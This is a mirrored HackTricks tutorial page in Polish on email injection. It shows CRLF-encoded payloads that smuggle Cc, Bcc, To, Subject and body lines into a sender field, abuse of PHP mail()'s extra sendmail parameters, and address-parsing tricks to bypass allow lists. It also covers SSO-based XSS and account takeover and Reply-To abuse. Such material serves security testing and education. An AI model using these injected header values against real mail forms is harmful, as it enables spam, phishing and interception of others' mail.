mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
174 lines
10 KiB
Markdown
174 lines
10 KiB
Markdown
# Email Injections
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
|
Uzyskaj dostęp już dziś:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Wstrzykiwanie w wysłanym e-mailu
|
|
|
|
### Wstrzykiwanie Cc i Bcc po argumencie nadawcy
|
|
```
|
|
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|
```
|
|
Wiadomość zostanie wysłana do kont odbiorcy i odbiorcy1.
|
|
|
|
### Wstrzyknij argument
|
|
```
|
|
From:sender@domain.com%0ATo:attacker@domain.com
|
|
```
|
|
Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego.
|
|
|
|
### Wstrzyknij argument Temat
|
|
```
|
|
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
|
```
|
|
Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej.
|
|
|
|
### Zmień treść wiadomości
|
|
|
|
Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
|
|
```
|
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
|
```
|
|
### Wykorzystanie funkcji mail() w PHP
|
|
```bash
|
|
# The function has the following definition:
|
|
|
|
php --rf mail
|
|
|
|
Function [ <internal:standard> function mail ] {
|
|
- Parameters [5] {
|
|
Parameter #0 [ <required> $to ]
|
|
Parameter #1 [ <required> $subject ]
|
|
Parameter #2 [ <required> $message ]
|
|
Parameter #3 [ <optional> $additional_headers ]
|
|
Parameter #4 [ <optional> $additional_parameters ]
|
|
}
|
|
}
|
|
```
|
|
#### 5. parametr ($additional\_parameters)
|
|
|
|
Ta sekcja będzie oparta na **tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje**.
|
|
|
|
Ten parametr zostanie dodany do linii poleceń, którą PHP użyje do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji `escapeshellcmd($additional_parameters)`.
|
|
|
|
Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku.
|
|
|
|
#### Różnice w implementacji /usr/sbin/sendmail
|
|
|
|
Interfejs **sendmail** jest **dostarczany przez oprogramowanie MTA do obsługi poczty** (Sendmail, Postfix, Exim itp.) zainstalowane na systemie. Chociaż **podstawowa funkcjonalność** (taka jak parametry -t -i -f) pozostaje **taka sama** z powodów zgodności, **inne funkcje i parametry** znacznie się różnią w zależności od zainstalowanego MTA.
|
|
|
|
Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail:
|
|
|
|
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
|
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
|
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
|
|
|
W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje, aby je nadużyć i **ujawniać pliki lub nawet wykonywać dowolne polecenia**. Sprawdź jak w [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
|
|
## Wstrzykiwanie w nazwie e-maila
|
|
|
|
### Ignorowane części e-maila
|
|
|
|
Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mailowych
|
|
|
|
* Np. john.doe+intigriti@example.com → john.doe@example.com
|
|
|
|
**Komentarze w nawiasach ()** na początku lub na końcu również będą ignorowane
|
|
|
|
* Np. john.doe(intigriti)@example.com → john.doe@example.com
|
|
|
|
### Ominięcie białej listy
|
|
|
|
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
|
|
|
### Cytaty
|
|
|
|
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
|
|
|
### IP
|
|
|
|
Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych:
|
|
|
|
* john.doe@\[127.0.0.1]
|
|
* john.doe@\[IPv6:2001:db8::1]
|
|
|
|
### Inne luki
|
|
|
|
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
|
|
|
|
## SSO stron trzecich
|
|
|
|
### XSS
|
|
|
|
Niektóre usługi, takie jak **github** lub **salesforce**, pozwalają na stworzenie **adresu e-mail z ładunkiem XSS**. Jeśli możesz **użyć tych dostawców do logowania się do innych usług** i te usługi **nie oczyszczają** poprawnie e-maila, możesz spowodować **XSS**.
|
|
|
|
### Przejęcie konta
|
|
|
|
Jeśli **usługa SSO** pozwala na **utworzenie konta bez weryfikacji podanego adresu e-mail** (jak **salesforce**) i następnie możesz użyć tego konta do **logowania się do innej usługi**, która **ufa** salesforce, możesz uzyskać dostęp do dowolnego konta.\
|
|
_Należy zauważyć, że salesforce wskazuje, czy podany e-mail był weryfikowany, ale aplikacja powinna uwzględnić te informacje._
|
|
|
|
## Odpowiedz-na
|
|
|
|
Możesz wysłać e-mail używając _**From: company.com**_ i _**Replay-To: attacker.com**_, a jeśli jakakolwiek **automatyczna odpowiedź** zostanie wysłana, ponieważ e-mail został wysłany **z** **wewnętrznego adresu**, **atakujący** może być w stanie **otrzymać** tę **odpowiedź**.
|
|
|
|
## Wskaźnik twardych odbić
|
|
|
|
Niektóre usługi, takie jak AWS, implementują próg znany jako **wskaźnik twardych odbić**, zazwyczaj ustawiony na 10%. Jest to krytyczna metryka, szczególnie dla usług dostarczania e-maili. Gdy ten wskaźnik zostanie przekroczony, usługa, taka jak usługa e-mailowa AWS, może zostać zawieszona lub zablokowana.
|
|
|
|
**Twarde odbicie** odnosi się do **e-maila**, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak **e-mail** wysłany na nieistniejący adres, domenę, która nie jest rzeczywista, lub odmowa serwera odbiorcy przyjęcia **e-maili**.
|
|
|
|
W kontekście AWS, jeśli wyślesz 1000 e-maili, a 100 z nich skutkuje twardymi odbiciami (z powodu takich powodów jak nieprawidłowe adresy lub domeny), oznacza to wskaźnik twardych odbić na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).
|
|
|
|
Ważne jest, aby utrzymać niski wskaźnik twardych odbić, aby zapewnić nieprzerwaną usługę e-mailową i utrzymać reputację nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail w twoich listach mailingowych może znacznie pomóc w osiągnięciu tego celu.
|
|
|
|
Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odbić i skarg [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
|
|
|
## Odnośniki
|
|
|
|
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
|
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
|
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
|
Uzyskaj dostęp już dziś:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|